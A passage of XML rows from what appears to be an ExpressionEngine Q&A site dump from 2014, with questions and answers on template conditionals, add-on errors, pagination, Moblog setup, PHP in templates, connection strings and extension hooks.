class=&quot;gal&quot;&amp;gt;&#xA;&amp;lt;h4&amp;gt;Gallery: Click to enlarge&amp;lt;/h4&amp;gt;&#xA;{exp:channel_images:images entry_id=&quot;{entry_id}&quot; skip_cover=&quot;yes&quot;}&#xA;...my image(s)... (appearing within individual divs)&#xA;{/exp:channel_images:images}&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because my 'if' statement just looks to see if an image exists, the Div AND the H4 heading still appear at the bottom of the page, even if the image is set as 'cover'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is it possible to customise the 'if' statement so that my html code (div/h4 ) will ALSO not appear (when the image is set as cover).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&#xA;(I understand that this is not necessarily a channel images question).&lt;/p&gt;&#xA;" OwnerUserId="2794" LastEditorUserId="2794" LastEditDate="2014-07-04T17:40:19.937" LastActivityDate="2014-07-04T20:55:59.020" Title="HTML will not display 'if' image set as 'cover'" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24202" PostTypeId="2" ParentId="24199" CreationDate="2014-07-04T17:34:51.763" Score="1" Body="&lt;p&gt;&lt;code&gt;shipping_phone&lt;/code&gt; is not a &lt;a href=&quot;http://ee-zoo.com/docs/visitor/global-variables.html&quot; rel=&quot;nofollow&quot;&gt;ZV global variable&lt;/a&gt;. If the tag doesn't exist then it will always just output as a string. If this is on the member account page then you just need to use the &lt;a href=&quot;http://ee-zoo.com/docs/visitor/tags/member-details.html#member-details-tag-examples&quot; rel=&quot;nofollow&quot;&gt;member details tag pair&lt;/a&gt; with their respective fields as shown in their docs.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-07-04T17:34:51.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24203" PostTypeId="2" ParentId="24201" CreationDate="2014-07-04T20:55:59.020" Score="3" Body="&lt;p&gt;Here is what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if news_image}&#xA;      {exp:channel_images:images entry_id=&quot;{entry_id}&quot; skip_cover=&quot;yes&quot;}&#xA;        {!-- only opening HTML data on the first loop --}&#xA;        {if &quot;{image:count}&quot; == &quot;1&quot;}&#xA;          &amp;lt;div class=&quot;gal&quot;&amp;gt;&#xA;          &amp;lt;h4&amp;gt;Gallery: Click to enlarge&amp;lt;/h4&amp;gt;&#xA;        {/if}&#xA;&#xA;        ...my image(s)... (appearing within individual divs)&#xA;&#xA;        {!-- Closes HTML data on the last loop --}&#xA;        {if &quot;{image:count}&quot; == &quot;{image:total}&quot;}&#xA;          &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;      {/exp:channel_images:images}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-04T20:55:59.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24204" PostTypeId="2" ParentId="24075" CreationDate="2014-07-04T21:36:06.993" Score="0" Body="&lt;p&gt;It appears this variable never made it into Store 2 even though it is in the docs. Email support and we will take a look and getting this fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Edit v2.3 doesn't have this variable for a reason. With Store 2 you can have multiple sales per product, so there is no single variable that would work. We will need to add a new feature in an upcoming version to make it work.&lt;/p&gt;&#xA;" OwnerUserId="164" LastEditorUserId="164" LastEditDate="2014-07-09T17:55:37.140" LastActivityDate="2014-07-09T17:55:37.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24205" PostTypeId="2" ParentId="23764" CreationDate="2014-07-05T15:57:24.830" Score="0" Body="&lt;p&gt;If you are using Channel Files in Channel Form on a template you have to be careful in setup. The control panel uses an older version of jQuery and attaches several libraries so certain functions occur. I recommend on your Channel Form page you load the included CP libraries, otherwise you will need to match the same options with compatible libraries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start by removing on this template any of your own jQuery stuff and use the default Channel Forms libraries. If everything works, you can try swapping items out and see what breaks it. However, like I said before, using the build in libraries will just be easier.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-05T15:57:24.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24206" PostTypeId="2" ParentId="23754" CreationDate="2014-07-05T16:00:30.720" Score="1" Body="&lt;p&gt;You could do this using CSS. We provide a considerable amount of wrappers around each input field. Simply drag and drop the form fields you want and save the form. Then open your template and grab the ids of each wrapper. Then using divs you could float and/or inline-block them to work as columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is you could just publish the form and grab the field names. Then using the tag pair you could just make your own fields and use whatever markup you want.  This makes it less &quot;automated&quot; but if you do not need the content admin to adjust the form, this could be an option as well.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-05T16:00:30.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24207" PostTypeId="1" CreationDate="2014-07-05T18:38:43.133" Score="1" ViewCount="128" Body="&lt;p&gt;I'm using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE v2.8.1&#xA;DataGrab 1.8.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a number of data imports set up, using various formats such as CSV, XML, JSON, etc.  Since upgrading to EE 2.8.1, I get this Error message when I run the import on any of them, displayed at the top of the page in the control panel:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A PHP Error was encountered&#xA;  Severity: Notice&#xA;  Message: Undefined index: entry_id&#xA;  Filename: pages/tab.pages.php&#xA;  Line Number: 195&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The data import itself seems to work fine, but these ugly errors cannot be part of the final deliverable to my client.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file referenced (system/expressionengine/modules/pages/tab.pages.php) is not part of the DataGrab add-on so I'm not sure what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Angel&lt;/p&gt;&#xA;" OwnerUserId="3324" LastActivityDate="2016-05-27T01:50:21.223" Title="PHP Errors in CP when using DataGrab to parse remote feed" Tags="|ee2|datagrab|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24209" PostTypeId="2" ParentId="24200" CreationDate="2014-07-05T21:22:33.963" Score="1" Body="&lt;p&gt;I believe you have to add var_prefix to your playa field so that you can distinguish between the two channels. If you add var_prefix=&quot;tttp&quot; then your fields will be {tttp:tour_director_name_first}. Then your previous channel should work. &lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-07-05T21:22:33.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24211" PostTypeId="2" ParentId="24193" CreationDate="2014-07-05T23:12:14.093" Score="1" Body="&lt;p&gt;If the page is reloading there are a couple things that you should do.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the final step of your checkout process make sure that you have &lt;code&gt;{error:payment_method}&lt;/code&gt; in your template (&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#error_payment_method&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Remove &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; from the opening checkout tag on the last page this will show the default error page instead of putting things inline which would only show up if you had the proper &lt;code&gt;{error:field_name}&lt;/code&gt; tag in your template.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That should give you a good indication of what is causing the problem. I found in the past sometimes with PayPal you have to create a new API key to do that goto: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Profile &gt; My Selling Tools &gt; API Access &gt; Request/View API Credentials&#xA;  (Option 2) &gt; Request API Signature&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will then need to copy/paste those fields into the PayPal Express gateway settings. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-07-05T23:12:14.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24212" PostTypeId="2" ParentId="24196" CreationDate="2014-07-06T01:12:08.437" Score="1" Body="&lt;p&gt;Try adding paginate=&quot;bottom&quot; parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {exp:channel:entries channel=&quot;channel_name&quot; paginate=&quot;bottom&quot;}&#xA;        {paginate}&#xA;           &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;     {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-06T01:12:08.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24213" PostTypeId="2" ParentId="24186" CreationDate="2014-07-06T01:16:39.977" Score="-1" Body="&lt;p&gt;Here is an example of how you can parse JSON and then loop through the data and append html to the data and your DOM with JavaScript. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5715952/parsing-json-in-javascript-using-for-loop&quot;&gt;https://stackoverflow.com/questions/5715952/parsing-json-in-javascript-using-for-loop&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-07-06T01:16:39.977" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24215" PostTypeId="2" ParentId="24207" CreationDate="2014-07-06T02:14:33.913" Score="0" Body="&lt;p&gt;My best guess is that when you are importing your data you are creating channel entries. Pages is a tab in your channel entry that isn't getting referenced or set correctly because of this mass import of data. You might reach out to the developer of Pages to get this resolved.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-06T02:14:33.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24216" PostTypeId="2" ParentId="24187" CreationDate="2014-07-06T02:19:34.613" Score="0" Body="&lt;p&gt;You could also have your plugin take a parameter json=&quot;json data&quot; and then you would have it to parse and render in your plugin then display it back in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:jsonplugin json=&quot;{embed=&quot;your/template}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('json');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your plugin.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-06T02:19:34.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24217" PostTypeId="1" AcceptedAnswerId="24218" CreationDate="2014-07-06T08:11:11.137" Score="0" ViewCount="61" Body="&lt;p&gt;I've managed to get the moblog to work previously, but now, I can't even get it to create an entry. If there are no emails in the mailbox I'm checking, it says &lt;code&gt;&quot;No valid emails were found&quot;&lt;/code&gt;, so it seems it manages to connect just fine. But if I actually send an email to that address with the correct Moblog Subject Prefix, I get no error message. But there are no entries created either. Even the simplest moblog template with only &lt;code&gt;{text}&lt;/code&gt; doesn't work. No entries are created. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2014-07-06T11:04:08.953" Title="Moblog - Entries aren't created, no error" Tags="|templates|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24218" PostTypeId="2" ParentId="24217" CreationDate="2014-07-06T11:04:08.953" Score="2" Body="&lt;p&gt;Finally managed to fix this issue. First of all, I suspected that the default field in the moblog config could be the culprit. So it became apparent that moblog only supports textarea and textfield by default. So the default field was empty in my moblog configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing the ExpressionEngine $default_config to include the following &lt;code&gt;'moblog_allow_nontextareas' =&amp;gt; 'y',&lt;/code&gt; made it possible to select all my channel fields as default field. And thus, the post was created as expected. This really is badly documented by EllisLag. But then again, it's not a very used feature anyway.&lt;/p&gt;&#xA;" OwnerUserId="3325" LastActivityDate="2014-07-06T11:04:08.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24219" PostTypeId="2" ParentId="12852" CreationDate="2014-07-06T13:36:03.527" Score="0" Body="&lt;p&gt;I know this is a slightly old post but for benefit of others doing this kind of thing, I've just used url_title=&quot;not {segment_3}&quot; to do exactly this - exclude the currently viewed entry from a list of other randomly displayed recent entries in a list. It seems to work fine.&#xA;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my-channel&quot; limit=&quot;3&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot; disable=&quot;member_data|trackbacks|pagination&quot; status=&quot;open&quot; url_title=&quot;not {segment_3}&quot;}&#xA;*preview list of 3 recent entries displayed, excluding the one being currently viewed*&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Having said all that, I know I should learn how to use Stash. Everyone raves about it.&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2014-07-06T13:36:03.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24220" PostTypeId="2" ParentId="24173" CreationDate="2014-07-06T16:32:35.403" Score="1" Body="&lt;p&gt;I am going to give you a solution that would work not knowing how your channel entries are set up if i had more information i know i could figure this out for you with playa, however this solution will work just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IF Tour titles and Dates are a one to many relationship meaning you are having for each Tour title 1 or more dates associated to it. You could accomplish it this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a tour title category group and create categories for each tour title. We'll say for the example it is category group 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a channel thats your tour date and information, and associate each one to a category in the group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a separate template with your code in it for the tour dates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;File path: temlates/default_site/yourtemplate.group/_dates.html&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;{embed:tour_title}&amp;lt;/h1&amp;gt;&#xA;{exp:channel:entries channel=&quot;tour_dates&quot; category=&quot;{embed:cat_id}&quot;}&#xA;   {!-- Your tour dates data --}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then embed that template from your tour title template passing data into the two variables specified above &quot;tour_title&quot; and &quot;cat_id&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;cat_id_of_tour_group&quot;}&#xA;   {!-- now we are going to loop through every category that has data assoiated with it in your system and pass the specific cat id and title through to the other template we created to generate the specific data needed. --}&#xA;   {embed=&quot;yourtemplate/_dates&quot; cat_id=&quot;{category_id}&quot; tour_title=&quot;{category_name}&quot;}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like I said this isn't a solution using playa, but because of your limited information i had to come up with a more standard native EE solution.&lt;/p&gt;&#xA;" OwnerUserId="2886" LastEditorUserId="2886" LastEditDate="2014-07-06T18:37:11.320" LastActivityDate="2014-07-06T18:37:11.320" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24221" PostTypeId="1" AcceptedAnswerId="24222" CreationDate="2014-07-06T22:51:15.740" Score="1" ViewCount="55" Body="&lt;p&gt;I’m having trouble embedding PHP into a template and having anything on the page render, and I assume it’s because I’m working with a Relationship field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as an example, this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{portfolio_projects}&#xA;&amp;lt;span class=&quot;date&quot;&amp;gt;&amp;lt;?php echo(&quot;Client A&quot;); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/portfolio_projects}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{portfolio_projects}&#xA;&amp;lt;span class=&quot;date&quot;&amp;gt;{portfolio_projects:client_name}&amp;lt;/span&amp;gt;&#xA;{/portfolio_projects}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but this does not (I just get a blank page with empty html and body tags):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{portfolio_projects}&#xA;&amp;lt;span class=&quot;date&quot;&amp;gt;&amp;lt;?php echo({portfolio_projects:client_name}); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;{/portfolio_projects} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I reckon I’m doing something wrong. Help?! (BTW, I’ll be needing to use PHP on my template to do a regex/preg_replace on strings.)&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2014-07-06T22:56:46.927" Title="PHP doesn't work with Relationship field" Tags="|channel-entries|relationships|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24222" PostTypeId="2" ParentId="24221" CreationDate="2014-07-06T22:56:46.927" Score="0" Body="&lt;p&gt;A couple things here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) You don't have any quotes surrounding the template variable in your PHP echo function. This is likely causing a PHP error, because the string is not enclosed in quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's a really really really bad idea to use PHP in templates. What kind of replacement are you trying to do? Have you looked at add-ons that could do this instead, such as &lt;a href=&quot;http://gotolow.com/addons/low-replace&quot; rel=&quot;nofollow&quot;&gt;Low Replace&lt;/a&gt;? Failing that, writing a custom plugin is pretty trivial and would be a much better way to accomplish your needs.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-07-06T22:56:46.927" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24224" PostTypeId="1" CreationDate="2014-07-07T02:05:01.150" Score="0" ViewCount="27" Body="&lt;p&gt;I'm not seeing any files included in the CartThrob download zip when I download or attempt to view the contents of the zip. I'm having the same issue with a previous license as well. First time I've had this problem. Anyone have any ideas what the issue could be?&lt;/p&gt;&#xA;" OwnerUserId="2660" LastActivityDate="2014-07-07T02:05:01.150" Title="No Files Included in the CartThrob Download Zip" Tags="|cartthrob|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24226" PostTypeId="1" AcceptedAnswerId="24311" CreationDate="2014-07-07T11:19:26.773" Score="2" ViewCount="324" Body="&lt;p&gt;I have been trying to get P&amp;amp;T's Dropdown as well as Checkboxes to work with Channel Forms but I do not seem to have any success as of yet. I have tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {my_field_name}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_value}&amp;lt;/option&amp;gt;&#xA;    {/my_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {options:my_field_name}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;    {/options:my_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {my_field_name:options}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;    {/my_field_name:options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with no success. Does anyone know where i could be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="940" LastActivityDate="2014-07-10T14:34:08.017" Title="P&amp;T Dropdown and Checkboxes with Channel forms" Tags="|safecracker|pixelandtonic|pt-checkboxes|pt-dropdown|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24227" PostTypeId="1" CreationDate="2014-07-07T11:56:58.767" Score="0" ViewCount="254" Body="&lt;p&gt;I have a form (freeform) in my EE site working just fine.&#xA;My client ask me for a connection string because he wants to get the information fill up in the form directly in his own system database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never hear about connection string before. Is it possible? What is neccessary to achieve it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-07-07T21:32:38.850" Title="Connection string" Tags="|string|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24228" PostTypeId="1" AcceptedAnswerId="24235" CreationDate="2014-07-07T17:09:18.180" Score="0" ViewCount="89" Body="&lt;p&gt;We currently run a site that has over 120,000 channel entries across our main EE install + MSM sites. As we continue to grow and add more channels and entries, I'm wondering if there's a limit to the number of entries EE can store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm interested to hear about overall limits (perhaps imposed by the database) along with any channel specific limits, if they exist.&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2014-07-07T20:36:23.657" LastActivityDate="2014-07-07T21:25:35.283" Title="Is there a limit to the number of channel entries that ExpressionEngine can handle?" Tags="|channel-entries|entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24229" PostTypeId="1" CreationDate="2014-07-07T17:35:46.777" Score="0" ViewCount="144" Body="&lt;p&gt;We are in the process of architecting an upgrade for a site, and in the process are considering consolidating multiple channels into a single channel. (in the process utilizing new templates designed around the single channel)  BUT, we have a significant amount of entries in the original channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming we set the new channel's fields to the correct configuration, can we use one of the import tools to migrate entries from one channel to another instead of manually needing to recreate entries?  Or would we need to export first then reimport?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or guidance to ensure minimal repetition of work would be GREATLY appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2014-07-08T03:05:06.990" Title="Import Channel Entries into New Channel?" Tags="|datagrab|export|solspace-importer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24230" PostTypeId="2" ParentId="22513" CreationDate="2014-07-07T19:05:18.520" Score="1" Body="&lt;p&gt;Seems after not being able to find anything happening and following every hunch I could.  It miraculously started worked after another uninstall -&gt; reinstall.  Thank you all for you help.&lt;/p&gt;&#xA;" OwnerUserId="337" LastActivityDate="2014-07-07T19:05:18.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24231" PostTypeId="2" ParentId="7185" CreationDate="2014-07-07T19:12:47.287" Score="1" Body="&lt;p&gt;Incase someone else comes to this post.. this has heen resolved in the developer version of codeigniter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/EllisLab/CodeIgniter/issues/3116&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/CodeIgniter/issues/3116&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to also update the Form_validation class as the email validation function there is different from the email_helper functions.&lt;/p&gt;&#xA;" OwnerUserId="2840" LastActivityDate="2014-07-07T19:12:47.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24232" PostTypeId="1" AcceptedAnswerId="24233" CreationDate="2014-07-07T19:14:11.153" Score="0" ViewCount="40" Body="&lt;p&gt;I have a client that needs an expression engine site updated in order to install an add-on. Does he have to buy it all over again? If not, His relationship with his previous developer isn't good so he doesn't have the login info for Ellis labs.  Would he be able to use a license number or something? I went to ask Ellis labs, but you have to pay for the privilege of speaking to someone there.&lt;/p&gt;&#xA;" OwnerUserId="3327" LastActivityDate="2014-07-07T19:57:46.113" Title="Expression engine updates" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24233" PostTypeId="2" ParentId="24232" CreationDate="2014-07-07T19:57:46.113" Score="2" Body="&lt;p&gt;To access the license number of an EE Install log into the CPanel and go to Admin &gt; General Configuration &gt; License Number :: If you give that to ellis lab they should be able to get you taken care of. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab Contact Info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Email: sales@ellislab.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Twitter: @EllisLab&lt;/p&gt;&#xA;" OwnerUserId="2886" LastActivityDate="2014-07-07T19:57:46.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24234" PostTypeId="1" AcceptedAnswerId="24237" CreationDate="2014-07-07T20:27:25.933" Score="1" ViewCount="66" Body="&lt;p&gt;I'm making a custom extension to add a channel entry's data to another remote database, but I only want to do this with certain channel(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I check inside my extension hook what channel the entry is being published in?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* Adds new EE product to Infusionsoft products table.&#xA;*&#xA;* @return bool&#xA;*/&#xA;public function entry_submission_absolute_end() {&#xA;&#xA;    // if the channel being published is &quot;products&quot;, continue..&#xA;&#xA;&#xA;    // get the product details from the channel entry form&#xA;    $newRow = array(&#xA;        'ProductName' =&amp;gt; '',&#xA;        'Description' =&amp;gt; '',&#xA;        'ProductPrice' =&amp;gt; ''&#xA;    );&#xA;&#xA;    // add the new row(product) to the infusionsoft db&#xA;    if ($this-&amp;gt;app-&amp;gt;dsAdd('Product', $newRow)) {&#xA;        return true;&#xA;    }&#xA;&#xA;} // END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2014-07-07T23:32:15.623" Title="Custom Extension Help (entry_submission_absolute_end() hook)" Tags="|channel-entries|channel|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24235" PostTypeId="2" ParentId="24228" CreationDate="2014-07-07T21:25:35.283" Score="2" Body="&lt;p&gt;I can't say for certain how it would pan out in the real world but the entry_id column in the database is an unsigned 10 digit INT so technically there is a limit there. But it's pretty big. You should be OK until your 10 billionth entry.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-07T21:25:35.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24236" PostTypeId="2" ParentId="24227" CreationDate="2014-07-07T21:32:38.850" Score="1" Body="&lt;p&gt;A connection string would simply be the database connection details formatted in a way to allow some software to connect to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A list of MySQL connection strings can be found at &lt;a href=&quot;http://www.connectionstrings.com/mysql/&quot; rel=&quot;nofollow&quot;&gt;http://www.connectionstrings.com/mysql/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, given the database hostname, database username, database password, and the database name from your system/expressionengine/config/database.php file should be enough for someone to create their own.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-07-07T21:32:38.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24237" PostTypeId="2" ParentId="24234" CreationDate="2014-07-07T23:32:15.623" Score="1" Body="&lt;p&gt;The hook gets called with several parameters that you can add to your extension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entry_submission_absolute_end($entry_id, $meta, $data, $view_url) {&#xA;  if ($meta['channel_id'] == 7) {&#xA;    // do your code here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry_submission_absolute_end&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/cp/content_publish/index.html#entry_submission_absolute_end&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2014-07-07T23:32:15.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24238" PostTypeId="1" AcceptedAnswerId="24240" CreationDate="2014-07-07T23:39:12.647" Score="0" ViewCount="51" Body="&lt;p&gt;I'm setting up a simple short url service which utilises a template (code below) to forward the user to the correct page based on an entry id in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code is based on EllisLab's docs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#ee-security-xss-clean&quot; rel=&quot;nofollow&quot;&gt;Security Guidelines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html#active-record&quot; rel=&quot;nofollow&quot;&gt;Database Class&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because the segment variable will be user-supplied, I want to make sure I haven't missed anything 